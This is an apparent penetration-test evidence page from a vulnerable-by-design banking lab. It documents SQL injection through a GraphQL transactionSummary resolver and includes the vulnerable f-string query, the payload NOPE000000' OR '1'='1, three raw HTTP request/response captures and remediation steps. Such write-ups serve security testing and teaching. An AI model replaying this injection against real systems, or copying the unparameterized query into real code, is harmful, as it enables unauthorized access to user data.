Test case 17 / 26FAIL
SQL Injection - GraphQL - Transaction Summary Resolver
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
01 — Notes
Test notes
Vulnerability
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
Description
The transactionSummary resolver passes the accountNumber argument to the _load_actor_by_account_number function, which builds a query with an f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. For callers with the administrator role, the argument value is not restricted at all, so SQL syntax can be injected.
Impact
Confidentiality (High): SQL injection at the GraphQL layer allows retrieval of users table rows beyond the requested account. Because the administrator role in this application can be obtained through several independently proven paths (SQL injection at login, mass assignment at registration, and JWT forgery), the administrator prerequisite is not a real barrier for an attacker.
CWE
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP
A03:2021 - Injection
Scenario
Normal: accountNumber contains a legitimate account -> that account's transaction summary is returned. Control: accountNumber contains a non-existent account (NOPE000000) -> Account not found error. Exploitation: the same value plus injection syntax NOPE000000' OR '1'='1 -> the WHERE condition is always true and the first row of the users table is returned even though the account does not exist.
Endpoint
POST http://127.0.0.1:5001/graphql
Affected feature
GraphQL transactionSummary (transaction summary)
Remediation
- Use parameterized queries in every resolver; remove SQL string concatenation.
- Validate the accountNumber format with a character allow-list before touching the database.
- Apply least privilege to the database account used by the application.
- Do not rely on the caller's role as a substitute for input sanitization.
Proof of concept
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> the transaction summary is returned normally.
2) (Screenshot 2) CONTROL: accountNumber NOPE000000 which does not exist -> Account not found error.
3) (Screenshot 3) CIA IMPACT: accountNumber NOPE000000' OR '1'='1 -> the query is manipulated and returns the ADMIN001 row even though the requested account does not exist, proving injected SQL execution.
View source note (English)
Vulnerability:
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
Description:
The transactionSummary resolver passes the accountNumber argument to the _load_actor_by_account_number function, which builds a query with an f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. For callers with the administrator role, the argument value is not restricted at all, so SQL syntax can be injected.
Impact:
Confidentiality (High): SQL injection at the GraphQL layer allows retrieval of users table rows beyond the requested account. Because the administrator role in this application can be obtained through several independently proven paths (SQL injection at login, mass assignment at registration, and JWT forgery), the administrator prerequisite is not a real barrier for an attacker.
CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP:
A03:2021 - Injection
Scenario:
Normal: accountNumber contains a legitimate account -> that account's transaction summary is returned. Control: accountNumber contains a non-existent account (NOPE000000) -> Account not found error. Exploitation: the same value plus injection syntax NOPE000000' OR '1'='1 -> the WHERE condition is always true and the first row of the users table is returned even though the account does not exist.
Endpoint:
POST http://127.0.0.1:5001/graphql
Affected Feature:
GraphQL transactionSummary (transaction summary)
Remediation:
- Use parameterized queries in every resolver; remove SQL string concatenation.
- Validate the accountNumber format with a character allow-list before touching the database.
- Apply least privilege to the database account used by the application.
- Do not rely on the caller's role as a substitute for input sanitization.
POC:
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> the transaction summary is returned normally.
2) (Screenshot 2) CONTROL: accountNumber NOPE000000 which does not exist -> Account not found error.
3) (Screenshot 3) CIA IMPACT: accountNumber NOPE000000' OR '1'='1 -> the query is manipulated and returns the ADMIN001 row even though the requested account does not exist, proving injected SQL execution.
02 — Screenshots
Screenshots (3)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}CAPTURE 02 / 2
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT
{
"data": {
"transactionSummary": null
},
"errors": [
{
"message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n | ^",
"path": [
"transactionSummary"
]
}
]
}CAPTURE 03 / 3
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}